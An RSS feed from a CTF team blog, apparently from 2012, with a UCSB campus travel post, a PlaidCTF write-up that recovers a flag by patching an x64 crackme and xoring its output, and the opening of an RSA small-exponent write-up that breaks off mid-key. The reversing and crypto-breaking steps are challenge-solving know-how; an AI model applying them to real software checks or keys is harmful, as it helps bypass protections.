<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Leet More</title>
	<atom:link href="http://leetmore.ctf.su/feed/" rel="self" type="application/rss+xml" />
	<link>http://leetmore.ctf.su</link>
	<description>Leet More CTF Team Blog</description>
	<lastBuildDate>Sun, 13 May 2012 05:35:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Russian Spy in Santa Barbara</title>
		<link>http://leetmore.ctf.su/wp/russian-spy-in-santa-barbara/</link>
		<comments>http://leetmore.ctf.su/wp/russian-spy-in-santa-barbara/#comments</comments>
		<pubDate>Sun, 13 May 2012 05:13:42 +0000</pubDate>
		<dc:creator>zyx2145</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[ictf]]></category>
		<category><![CDATA[santa barbara]]></category>
		<category><![CDATA[ucsb]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2545</guid>
		<description><![CDATA[Last few months I have spent in Boston and recently had an opportunity to come to awesome Santa Barbara. Santa Barbara is a motherland not only of the longest (or one of the longest) an American television soap opera, which was very well known in Russia in 90s, but also University of California Santa Barbara (UCSB). How most&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/russian-spy-in-santa-barbara/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<p>Last few months I have spent in Boston and recently had an opportunity to come to awesome Santa Barbara. Santa Barbara is a motherland not only of the longest (or one of the longest) an American television soap opera, which was very well known in Russia in 90s, but also University of California Santa Barbara (UCSB).</p>
<p><span id="more-2545"></span></p>
<p>How most of you know, UCSB, and particular the Department of Computer Science, organizes International Capture The Flag (also known as the iCTF), one of the oldest ctf contest. For our team also, it is one of the first CTF in which we started to participate, and there are few curious moments connected with it which happened last years: <a href="http://leetmore.ctf.su/wp/our-ictf-2010-success/">2010 </a>and <a href="http://leetmore.ctf.su/wp/the-significant-game-but-epic-fail-2th-on-ictf-2011/">2011</a>. So, because all of that I was very happy to come to UCSB and personally meet <a href="http://www.cs.ucsb.edu/~vigna/">Professor Giovanni Vigna</a> and his team, but first things first.</p>
<p>First of all, I want to show you a campus of UCSB which is huge and beautiful. The such concentration of skaters, bicycles and beautiful girls I had never seen before anywhere ).</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05983.jpg"><img class="alignnone size-large wp-image-2546" title="DSC05983" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05983-1024x768.jpg" alt="" width="500" height="375" /></a></p>
<p>I was literally waiting about 1 minute for crossing bicycle track because of bicycles’ traffic! Incredible!</p>
<p>This is a view which students of UCSB can see every morning!</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05944.jpg"><img class="alignnone size-large wp-image-2547" title="DSC05944" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05944-1024x768.jpg" alt="" width="500" height="375" /></a></p>
<p>and also you can walk around&#8230;</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05963.jpg"><img class="alignnone size-large wp-image-2548" title="DSC05963" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05963-1024x768.jpg" alt="" width="500" height="375" /></a></p>
<p>&#8220;Harold Frank Hall &#8221; is a place where <a href="http://www.cs.ucsb.edu/~seclab/">Security Lab</a> is located, also called Engineering I.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05988.jpg"><img class="alignnone size-large wp-image-2563" title="DSC05988" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05988-1024x768.jpg" alt="" width="500" height="375" /></a></p>
<p>How you can see at a map below, a campus is really huge.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/ucsbmap.gif"><img class="alignnone size-large wp-image-2549" title="ucsbmap" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/ucsbmap-792x1024.gif" alt="" width="500" height="646" /></a></p>
<p>Inside the Lab I met a lot of interesting and enthusiastic people )</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05995.jpg"><img class="alignnone size-large wp-image-2550" title="DSC05995" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05995-1024x768.jpg" alt="" width="500" height="375" /></a></p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05996.jpg"><img class="alignnone size-large wp-image-2551" title="DSC05996" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05996-1024x768.jpg" alt="" width="500" height="375" /></a></p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05997.jpg"><img class="alignnone size-large wp-image-2552" title="DSC05997" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05997-1024x768.jpg" alt="" width="500" height="375" /></a></p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05999.jpg"><img class="alignnone size-large wp-image-2553" title="DSC05999" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05999-1024x768.jpg" alt="" width="500" height="375" /></a></p>
<p>A heart of lab:</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05998.jpg"><img class="alignnone size-large wp-image-2554" title="DSC05998" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC05998-1024x768.jpg" alt="" width="500" height="375" /></a></p>
<p>After an excursion in UCSB Security Lab (and after I copied all flags for next iCTF 2012 for sure xDDD ), Giovanni and I went to Lastline’s office. <a href="http://www.lastline.com/about-us.html">Lastline </a>is a security startup which is focused on research and development anti-malware solution “Previct” (you can find more information by <a href="http://www.lastline.com/previct-anti-malware.html">link</a>).</p>
<p>There I met another team with whom had a lunch and interesting conversation.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC06004.jpg"><img class="alignnone size-large wp-image-2555" title="DSC06004" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC06004-1024x768.jpg" alt="" width="500" height="375" /></a></p>
<p>I think that anti-malware researchers and foosball are two inseparable things because almost in every virus lab which I&#8217;d seen I saw foosball table. Sometimes I think that the best place to recruit anti-malware analyst is foosball bar )) So, these guys are not exception! After lunch we had a short  game (I&#8217;m not going to tell you who won, but you know).</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC06000.jpg"><img class="alignnone size-large wp-image-2557" title="DSC06000" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC06000-1024x768.jpg" alt="" width="500" height="375" /></a></p>
<p>I really like campus of UCSB, and came there again in another day just to skating around and to enjoy the atmosphere of this place.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC06114.jpg"><img class="alignnone size-large wp-image-2556" title="DSC06114" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/DSC06114-1024x768.jpg" alt="" width="500" height="375" /></a></p>
<p>Finally, I want to say thanks for inviting to Professor Giovanni Vigna and his team. I really enjoyed to meet you and to spend time in awesome Santa Barbara! Looking forward to meet  you again.</p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/russian-spy-in-santa-barbara/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SIMD [250] (Pirating)</title>
		<link>http://leetmore.ctf.su/wp/simd-250-pirating/</link>
		<comments>http://leetmore.ctf.su/wp/simd-250-pirating/#comments</comments>
		<pubDate>Tue, 01 May 2012 11:28:03 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[pctf]]></category>
		<category><![CDATA[plaidctf]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[sse]]></category>
		<category><![CDATA[x64]]></category>
		<category><![CDATA[xor]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2535</guid>
		<description><![CDATA[After examining some code retrieved by our operative we are unsure whether it was written by an evil genius or a google employee. We will let you decide. Summary: linux x64 binary, obfuscated xor The main code is rather simple: .text:0000004006D0 main proc near .text:0000004006D0 mov &#91;rsp+var_18&#93;, rbx .text:0000004006D5 mov &#91;rsp+var_10&#93;, rbp .text:0000004006DA mov rbx,&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/simd-250-pirating/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>
After examining <a href="http://leetmore.ctf.su/wp-content/uploads/files/plaidctf2012/simd">some code</a> retrieved by our operative we are unsure whether it was written by an evil genius or a google employee. We will let you decide.
</p></blockquote>
<p><strong>Summary:</strong> linux x64 binary, obfuscated xor</p>
<p><span id="more-2535"></span></p>
<p>The main code is rather simple:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>0000004006D0 main      <span style="color: #000000; font-weight: bold;">proc</span> <span style="color: #000000; font-weight: bold;">near</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>0000004006D0           <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span>rsp<span style="color: #339933;">+</span>var_18<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> rbx
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>0000004006D5           <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span>rsp<span style="color: #339933;">+</span>var_10<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> rbp
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>0000004006DA           <span style="color: #00007f; font-weight: bold;">mov</span>     rbx<span style="color: #339933;">,</span> rsi
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>0000004006DD           <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span>rsp<span style="color: #339933;">+</span>var_8<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> r12
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">0000004006E2</span>           <span style="color: #00007f; font-weight: bold;">sub</span>     rsp<span style="color: #339933;">,</span> <span style="color: #0000ff;">38h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">0000004006E6</span>           <span style="color: #00007f; font-weight: bold;">cmp</span>     <span style="color: #00007f;">edi</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">0000004006E9</span>           <span style="color: #00007f; font-weight: bold;">jle</span>     <span style="color: #000000; font-weight: bold;">short</span> loc_40075A
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>0000004006EB           <span style="color: #00007f; font-weight: bold;">mov</span>     r12<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>rsi<span style="color: #339933;">+</span><span style="color: #0000ff;">8</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>0000004006EF           <span style="color: #00007f; font-weight: bold;">mov</span>     rdi<span style="color: #339933;">,</span> r12        
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>0000004006F2           <span style="color: #00007f; font-weight: bold;">call</span>    _strlen           <span style="color: #666666; font-style: italic;">; strlen(argv[1])</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>0000004006F7           <span style="color: #00007f; font-weight: bold;">cmp</span>     rax<span style="color: #339933;">,</span> <span style="color: #0000ff;">1Fh</span>          <span style="color: #666666; font-style: italic;">; 31</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>0000004006FB           <span style="color: #00007f; font-weight: bold;">jnz</span>     <span style="color: #000000; font-weight: bold;">short</span> loc_40075A
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>0000004006FD           <span style="color: #00007f; font-weight: bold;">mov</span>     rcx<span style="color: #339933;">,</span> rsp
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000400700</span>           <span style="color: #00007f; font-weight: bold;">mov</span>     rsi<span style="color: #339933;">,</span> r12
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000400703</span>           <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">edi</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">8</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000400708</span>           <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">offset</span> mess
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>00000040070D           <span style="color: #00007f; font-weight: bold;">call</span>    frob              <span style="color: #666666; font-style: italic;">; encrypt</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000400712</span>           <span style="color: #00007f; font-weight: bold;">mov</span>     rdi<span style="color: #339933;">,</span> <span style="color: #00007f;">cs</span><span style="color: #339933;">:</span>expected
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000400719</span>           <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">20h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>00000040071E           <span style="color: #00007f; font-weight: bold;">mov</span>     rsi<span style="color: #339933;">,</span> rsp
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000400721</span>           <span style="color: #00007f; font-weight: bold;">repe</span> <span style="color: #00007f; font-weight: bold;">cmpsb</span>                <span style="color: #666666; font-style: italic;">; compare result with hardcoded data</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000400723</span>           <span style="color: #00007f; font-weight: bold;">jz</span>      <span style="color: #000000; font-weight: bold;">short</span> loc_400748
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000400725</span>           <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">edi</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">offset</span> s   <span style="color: #666666; font-style: italic;">; &quot;Invalid passcode&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>00000040072A           <span style="color: #00007f; font-weight: bold;">call</span>    _puts
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">00000040072F</span> loc_40072F<span style="color: #339933;">:</span>                             <span style="color: #666666; font-style: italic;">; CODE XREF: main+88j</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">00000040072F</span>           <span style="color: #00007f; font-weight: bold;">xor</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000400731</span>           <span style="color: #00007f; font-weight: bold;">mov</span>     rbx<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>rsp<span style="color: #339933;">+</span><span style="color: #0000ff;">38h</span><span style="color: #339933;">+</span>var_18<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000400736</span>           <span style="color: #00007f; font-weight: bold;">mov</span>     rbp<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>rsp<span style="color: #339933;">+</span><span style="color: #0000ff;">38h</span><span style="color: #339933;">+</span>var_10<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>00000040073B           <span style="color: #00007f; font-weight: bold;">mov</span>     r12<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>rsp<span style="color: #339933;">+</span><span style="color: #0000ff;">38h</span><span style="color: #339933;">+</span>var_8<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000400740</span>           <span style="color: #00007f; font-weight: bold;">add</span>     rsp<span style="color: #339933;">,</span> <span style="color: #0000ff;">38h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000400744</span>           <span style="color: #00007f; font-weight: bold;">retn</span></pre></div></div>

<p>Basically just some encryption and result compare. The interesting part is <strong>frob</strong> function. It has a bunch of SSE instructions, processing the encryption.</p>
<p>I decided to see what the result is and I patched the binary to output the result of the encryption:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>000000000040070D                 <span style="color: #00007f; font-weight: bold;">call</span>    frob
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">0000000000400712</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     rdi<span style="color: #339933;">,</span> <span style="color: #00007f;">cs</span><span style="color: #339933;">:</span>expected
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">0000000000400719</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">20h</span>        <span style="color: #666666; font-style: italic;">; addr</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>000000000040071E                 <span style="color: #00007f; font-weight: bold;">xor</span>     rax<span style="color: #339933;">,</span> rax
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">0000000000400721</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">0000000000400723</span>                 <span style="color: #00007f; font-weight: bold;">xor</span>     rdi<span style="color: #339933;">,</span> rdi
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">0000000000400726</span>                 <span style="color: #00007f; font-weight: bold;">inc</span>     rdi
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">0000000000400729</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     rsi<span style="color: #339933;">,</span> rsp        <span style="color: #666666; font-style: italic;">; encrypted data</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>000000000040072C                 <span style="color: #00007f; font-weight: bold;">mov</span>     rdx<span style="color: #339933;">,</span> rcx        <span style="color: #666666; font-style: italic;">; len = 32</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">000000000040072F</span>                 <span style="color: #000000; font-weight: bold;">syscall</span>                 <span style="color: #666666; font-style: italic;">; write syscall</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">0000000000400731</span>                 <span style="color: #00007f; font-weight: bold;">retn</span></pre></div></div>

<p>Let&#8217;s see:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ .<span style="color: #000000; font-weight: bold;">/</span>psimd <span style="color: #ff0000;">&quot;<span style="color: #780078;">`perl -e 'print &quot;A&quot;x1 . &quot;B&quot;x30;'`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> xxd
0000000: 77de 77f3 823e <span style="color: #000000;">3815</span> 01c2 2a91 441c <span style="color: #000000;">2926</span>  w.w..<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">8</span>...<span style="color: #000000; font-weight: bold;">*</span>.D.<span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&amp;</span>
0000010: 8ca8 c669 42c6 8cda 8e25 03e7 ebf6 b23b  ...iB....<span style="color: #000000; font-weight: bold;">%</span>.....;
$ .<span style="color: #000000; font-weight: bold;">/</span>psimd <span style="color: #ff0000;">&quot;<span style="color: #780078;">`perl -e 'print &quot;A&quot;x2 . &quot;B&quot;x29;'`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> xxd
0000000: 77dd 77f3 823e <span style="color: #000000;">3815</span> 01c2 2a91 441c <span style="color: #000000;">2926</span>  w.w..<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">8</span>...<span style="color: #000000; font-weight: bold;">*</span>.D.<span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&amp;</span>
0000010: 8ca8 c669 42c6 8cda 8e25 03e7 ebf6 b23b  ...iB....<span style="color: #000000; font-weight: bold;">%</span>.....;
$ .<span style="color: #000000; font-weight: bold;">/</span>psimd <span style="color: #ff0000;">&quot;<span style="color: #780078;">`perl -e 'print &quot;A&quot;x3 . &quot;B&quot;x28;'`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> xxd
0000000: 77dd 74f3 823e <span style="color: #000000;">3815</span> 01c2 2a91 441c <span style="color: #000000;">2926</span>  w.t..<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">8</span>...<span style="color: #000000; font-weight: bold;">*</span>.D.<span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&amp;</span>
0000010: 8ca8 c669 42c6 8cda 8e25 03e7 ebf6 b23b  ...iB....<span style="color: #000000; font-weight: bold;">%</span>.....;</pre></div></div>

<p>Hmm it&#8217;s very likely to be just XOR. Let&#8217;s check:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># get hardcoded data from binary</span>
$ <span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">bs</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">if</span>=simd <span style="color: #007800;">of</span>=data <span style="color: #007800;">skip</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span>rax2 0x2458<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">count</span>=<span style="color: #000000;">32</span>
<span style="color: #000000;">32</span>+<span style="color: #000000;">0</span> records <span style="color: #000000; font-weight: bold;">in</span>
<span style="color: #000000;">32</span>+<span style="color: #000000;">0</span> records out
<span style="color: #000000;">32</span> bytes <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">32</span> B<span style="color: #7a0874; font-weight: bold;">&#41;</span> copied, <span style="color: #000000;">0.000348474</span> s, <span style="color: #000000;">91.8</span> kB<span style="color: #000000; font-weight: bold;">/</span>s
&nbsp;
$ .<span style="color: #000000; font-weight: bold;">/</span>psimd <span style="color: #ff0000;">&quot;<span style="color: #780078;">`perl -e 'print &quot;A&quot;x31;'`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;</span>ENCA
&nbsp;
$ xor <span style="color: #660033;">-f</span> ENCA <span style="color: #660033;">-s</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;A&quot;x32'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span>key
$ xor <span style="color: #660033;">-f</span> key <span style="color: #660033;">-f</span> data
4rnt_v3ct0r_1nstruct10ns_c00l?<span style="color: #000000; font-weight: bold;">!</span>A</pre></div></div>

<p>Indeed! The flag: <strong>4rnt_v3ct0r_1nstruct10ns_c00l?!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/simd-250-pirating/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PlaidCTF 2012 – RSA [200] (Password Guessing)</title>
		<link>http://leetmore.ctf.su/wp/plaidctf-2012-rsa-200-password-guessing/</link>
		<comments>http://leetmore.ctf.su/wp/plaidctf-2012-rsa-200-password-guessing/#comments</comments>
		<pubDate>Tue, 01 May 2012 08:56:15 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[crypto]]></category>
		<category><![CDATA[pctf]]></category>
		<category><![CDATA[plaidctf]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[rsa]]></category>
		<category><![CDATA[small exponent]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2530</guid>
		<description><![CDATA[We recently intercepted a plethora of robot transmissions but they are all encrypted with some strange scheme we just can&#8217;t quite figure out. Can you crack it? Summary: small public exponent: 3 We are given just two files: enc.dat and id-rsa.pub. Let&#8217;s extract RSA public key: $ openssl rsa -pubin -in id-rsa.pub -text Public-Key: &#40;4096&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/plaidctf-2012-rsa-200-password-guessing/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>We recently intercepted <a href="http://leetmore.ctf.su/wp-content/uploads/files/plaidctf2012/rsa.tar">a plethora of robot transmissions</a> but they are all encrypted with some strange scheme we just can&#8217;t quite figure out. Can you crack it?</p></blockquote>
<p><strong>Summary:</strong> small public exponent: 3</p>
<p><span id="more-2530"></span></p>
<p>We are given just two files: <strong>enc.dat</strong> and <strong>id-rsa.pub</strong>. Let&#8217;s extract RSA public key:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ openssl rsa <span style="color: #660033;">-pubin</span> <span style="color: #660033;">-in</span> id-rsa.pub <span style="color: #660033;">-text</span>
Public-Key: <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">4096</span> bit<span style="color: #7a0874; font-weight: bold;">&#41;</span>
Modulus:
    00:b0:a1:f3:<span style="color: #000000;">90</span>:ac:d3:d4:3b:<span style="color: #000000;">47</span>:d3:9f:<span style="color: #000000;">13</span>:<span style="color: #000000;">26</span>:<span style="color: #000000;">62</span>:
    f6:9c:<span style="color: #000000;">15</span>:<span style="color: #000000;">89</span>:<span style="color: #000000;">25</span>:d9:<span style="color: #000000;">28</span>:<span style="color: #000000;">71</span>:e4:<span style="color: #000000;">78</span>:<span style="color: #000000;">69</span>:e2:<span style="color: #000000;">84</span>:1a:<span style="color: #000000;">91</span>:
    7c:<span style="color: #000000;">20</span>:d5:<span style="color: #000000;">10</span>:<span style="color: #000000;">24</span>:<span style="color: #000000;">31</span>:b9:a9:<span style="color: #000000;">78</span>:<span style="color: #000000;">14</span>:<span style="color: #000000;">58</span>:d8:<span style="color: #000000;">40</span>:fd:<span style="color: #000000;">29</span>:
    <span style="color: #000000;">57</span>:<span style="color: #000000;">78</span>:<span style="color: #000000;">15</span>:a4:<span style="color: #000000;">16</span>:<span style="color: #000000;">12</span>:d6:<span style="color: #000000;">87</span>:a3:<span style="color: #000000;">48</span>:7d:<span style="color: #000000;">26</span>:fb:ae:<span style="color: #000000;">25</span>:
    6f:<span style="color: #000000;">15</span>:d4:<span style="color: #000000;">74</span>:0c:<span style="color: #000000;">34</span>:<span style="color: #000000;">59</span>:1b:<span style="color: #000000;">64</span>:6a:<span style="color: #c20cb9; font-weight: bold;">bc</span>:<span style="color: #c20cb9; font-weight: bold;">cc</span>:b1:a2:7a:
    <span style="color: #7a0874; font-weight: bold;">cd</span>:e2:<span style="color: #000000;">99</span>:b3:e7:<span style="color: #000000;">16</span>:00:<span style="color: #000000;">85</span>:7b:<span style="color: #000000;">45</span>:5c:<span style="color: #000000;">28</span>:<span style="color: #000000;">36</span>:<span style="color: #000000;">60</span>:e0:
    <span style="color: #000000;">45</span>:5c:<span style="color: #000000;">68</span>:ff:<span style="color: #000000;">45</span>:c0:<span style="color: #000000;">64</span>:4c:fe:c2:<span style="color: #000000;">11</span>:d7:f5:1a:<span style="color: #000000;">16</span>:
    c8:2e:<span style="color: #000000;">91</span>:d7:<span style="color: #000000;">86</span>:d9:2c:<span style="color: #000000;">79</span>:9f:b3:cb:<span style="color: #000000;">48</span>:f9:2d:e3:
    <span style="color: #000000;">42</span>:ba:<span style="color: #000000;">70</span>:<span style="color: #c20cb9; font-weight: bold;">dd</span>:<span style="color: #000000;">82</span>:<span style="color: #000000;">13</span>:05:6b:<span style="color: #000000;">31</span>:4a:8d:<span style="color: #000000;">51</span>:da:<span style="color: #000000;">94</span>:<span style="color: #000000;">93</span>:
    cf:1b:<span style="color: #000000;">86</span>:ec:<span style="color: #000000;">15</span>:fd:f0:3e:04:6e:<span style="color: #000000;">76</span>:d3:f1:a1:ad:
    0a:ab:b6:<span style="color: #000000;">84</span>:ce:5d:<span style="color: #000000;">15</span>:7e:<span style="color: #000000;">39</span>:<span style="color: #000000;">98</span>:<span style="color: #000000;">28</span>:a6:3a:5a:f5:
    <span style="color: #000000;">92</span>:02:<span style="color: #000000;">28</span>:bb:5e:a1:e6:6b:8f:ea:a3:<span style="color: #c20cb9; font-weight: bold;">cc</span>:bb:af:f5:
